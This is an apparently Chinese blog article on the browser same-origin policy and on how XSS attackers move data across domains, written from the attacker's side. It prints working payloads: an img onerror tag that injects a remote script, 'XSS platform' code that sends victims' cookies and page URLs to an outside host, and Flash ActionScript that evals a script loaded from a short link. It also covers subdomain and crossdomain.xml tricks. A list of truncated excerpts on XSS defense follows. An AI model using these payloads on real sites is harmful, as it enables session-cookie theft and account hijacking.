1、同源策略
同源策略是一种约定,它是浏览器最核心也是最基本的安全功能。
浏览器的同源策略,限制了来自不同源的”document”或脚本,对当前“document”读取或设置某些属性。
———————————————邪恶的分割线——————————————–
对于影响到“源”的因素有:
host(域名或IP地址,如果是IP地址则看做一个根域名)
子域名
端口
协议
——————————————-邪恶的分割线—————————
在浏览器中,对于标签 <script>、<img>、<iframe>、<link> 等标签都可以跨域加载资源,而不受同源策略的限制。这些带有“src”属性的标签每次加载的时候,实际上是由浏览器发起一个get请求。
不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器是限制了javascript的权限,使其不能够读写返回的内容。对于 XMLHttpRequest来说,它可以访问来自同源对象的内容。但是不能够访问跨域访问资源,所有在ajax开发中尤其需要注意这点在w3c委员会制 定了XMLHttpRequest跨域访问标准。他需要通过目标域返回的HTTP头授权是否允许跨域访问,因为HTTP头对于javascript来说一 般是无法控制的,所以认为这个方案是可行的。
对于浏览器来说:除了DOM、Cookie、XMLHttprequest会受到同源策略的限制外,浏览器加载的第三方插件也有各自的同源策略。例如:flash,java applet,silverlight,coogle gears等。
2、xss
笔者已经将上文重要的地方红色高亮显示出来,浏览器同源在保证安全的同时,对前端开发和攻击者会带来极大的不便,google一下javascript跨域会有很多解决方案,比如:http://rubel.iteye.com/blog/901182。
对于普通的开发来说,基本上可以解决所有场景下面的跨域问题,都是需要目标和本地的文件都是可控的,这对于xss攻击中来说肯定是不行的。
3、xss中如何跨域传送数据
前文已经提到到 src标签加载资源时相当于一个get请求。
比如一个经典的img标签的xss:
<img src=1 onerror="var b = document.createElement('script');b.src='//X';document.body.appendChild(b);"width="0" height="0" >
还有就是xssing 平台中大量使用的代码:
Default img =newImage(); img.src="http://www.91ri.org/index.php?do=api&id={projectId}&cookie="+ escape(document.cookie) +"&location="+ escape(window.location.href) +"&top="+ escape(top.location.href) +"&address="+ escape(l); img.width = 0; img.height = 0; img =newImage(); img.src="http://www.91ri.org/index.php?do=api&id={projectId}&cookie="+ escape(document.cookie) +"&location="+ escape(window.location.href) +"&top="+ escape(top.location.href) +"&address="+ escape(l); img.width = 0; img.height = 0;
uc定位(http://www.91ri.org/7331.html)中使用到的代码:
4、xss跨域攻击
跨越子域:xss攻击场景的跨域大多数是跨子域的。
比如当前有a.av.com的xss,需要b.av.com的document并操作,对于大部分网站来说,子域名里面都会有一个proxy页面或者引入一个共同的javascript文件来设置 document.cookie=”.av.com”,以便于业务开发。
也可以用flash 来跨域crossdomain.xml,需要根目录的flash xss domain可控。
比如 http://sb.f4ck.org/crossdomain.xml
比如我之前xss一站用的actionscript代码:
import flash.display.MovieClip; import flash.external.ExternalInterface; public class xss extends MovieClip { public function xss() { var fun = "var x=document.createElement("SCRIPT");x.src="http://t.cn/xxx"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);"; flash.external.ExternalInterface.call("eval", fun); } }
当然,如果你的人品跟笔者一样差,以上方案均不可行,就只有悲催的fuzz b.av.com的xss了。
跨任意域:需要跨任意域肯定是关注浏览器层面的,比如ie是res协议跨域、特权区域和浏览器拓展等浏览器层面的xss,具体可见余弦的《web 前端黑客技术揭秘》 (232 页)和黑哥的 《去年我跨过的浏览器》(http://vdisk.weibo.com/s/z1id0otCRMVPt)
其他:猥琐流之webkit神跨域:http://zone.wooyun.org/content/2365
相关推荐
XSS防护:XSS攻击原理与类型.docx
XSS防护:XSS攻击案例分析.docx
跨站脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者利用它将恶意脚本注入到其他用户会浏览的页面中。这种攻击可能导致用户信息被盗取、会话劫持或恶意软件的分发。HTML实体编码是防御XSS攻击的一种重要手段,它...
4. 强制广告显示与流量操纵:XSS攻击可能导致用户浏览器强制弹出广告页面,同时也能用于刷流量,影响网站统计和分析的真实性。 5. 网页篡改:恶意脚本可篡改网页内容,删除或修改文章,破坏网站的正常运行。 6. ...
这是一种常见的网络安全漏洞,攻击者通过注入恶意脚本到网页中,使其他用户在访问这些网页时,浏览器会执行这些脚本,从而对用户的隐私信息造成威胁。XSS攻击的危险在于它能够盗取用户的cookie、会话信息,甚至模拟...
### XSS跨域攻击知识点详解 #### 一、XSS攻击概览 - **定义与起源**:跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,最早出现于1996年。XSS攻击利用的是网站对用户输入数据过滤不严...
**同源策略(Same-Origin Policy)**是Web浏览器中一项重要的安全机制,它限制了不同源的网页之间共享数据的能力,防止恶意网站通过脚本访问并操控其他网站的敏感信息。Collabtive系统是一个开源的项目管理工具,而...
主要使用Filter针对Xss攻击,sql注入,服务器访问白名单,以及csrf进行安全校验 1,主要实现的是三大块功能:Xss攻击,sql注入,服务器白名单,以及csrf 2,此Filter为真实项目部署,在XssHttpServletRequestWrapper...
XSS 攻击是一种常见的 Web 应用攻击方式,指的是攻击者在网站上注入恶意脚本,使用户在访问网站时,恶意脚本被运行,从而获取用户的敏感信息,如 Cookie。 XSS 攻击类型 XSS 攻击可以分为三种类型: 1. 反射型 ...
XSS(Cross-site scripting)攻击是一种常见的网络安全威胁,它利用了网站对用户输入的不适当处理,使得攻击者能够在网页中注入恶意脚本,从而影响其他用户。在本实例"XSS攻击实例1"中,我们将探讨这种攻击的原理、...
XSS攻击是通过在网页中注入可执行的脚本,当用户访问被注入脚本的页面时,这些脚本会在用户的浏览器环境中运行,从而可能执行攻击者设计的各种操作。PDF文件中的XSS攻击则是在PDF阅读器解析文档时触发恶意脚本,而...
XSS攻击是指攻击者在Web应用程序中注入恶意脚本,然后当用户访问该Web应用程序时,恶意脚本就会被执行,从而导致用户的浏览器被控制。 在本实验中,我们将使用beef-xss工具来模拟XSS攻击。beef-xss是一个开源的XSS...
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是...
基于浏览器的Reflected XSS防御系统:XSS-Defender,万本钰,辛阳,随着Web 2.0时代的到来,XSS(跨站脚本)攻击产生的安全威胁日益显著。XSS攻击具有双重特点:容易被忽略且安全危害严重。而现有的XSS��
Web应用安全领域中,XSS(跨站脚本攻击)是一种常见的网络安全威胁,它利用了网站对用户输入的不适当处理,使得攻击者能够注入恶意脚本,进而控制或窃取用户的数据。在这个实验中,我们将重点探讨XSS通过JavaScript...
Web应用安全领域中,XSS(跨站脚本攻击)是一种常见的威胁,它涉及到攻击者通过注入恶意脚本到网页中,从而操控用户浏览器的行为。本文主要探讨的是XSS攻击中的一种常见手法——盗取Cookie,以及其工作原理、实例...
XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,它允许攻击者在用户浏览器上执行恶意脚本。这种攻击通常发生在Web应用中,当网站未能正确地过滤或转义用户输入的数据,使得这些数据可以作为可...
XSS(Cross-site scripting)攻击是一种常见的网络安全威胁,它利用了网站对用户输入的不当处理,使得攻击者能够注入恶意脚本,进而控制或者窃取用户的浏览器数据。防止XSS攻击是保护Web应用安全的重要一环,对于...
最后,浏览器还涉及到安全性问题,例如同源策略限制了不同源之间的交互,防止跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等。同时,现代浏览器还支持Web Components、Service Worker、WebAssembly等新特性,进一步...
- 同源策略:限制浏览器只能访问同一源(协议+域名+端口)的资源,防止跨域请求。 - Content Security Policy (CSP):设置HTTP响应头,限制页面可加载的资源,阻止非预期的脚本执行。 3. antisamy工作原理: - ...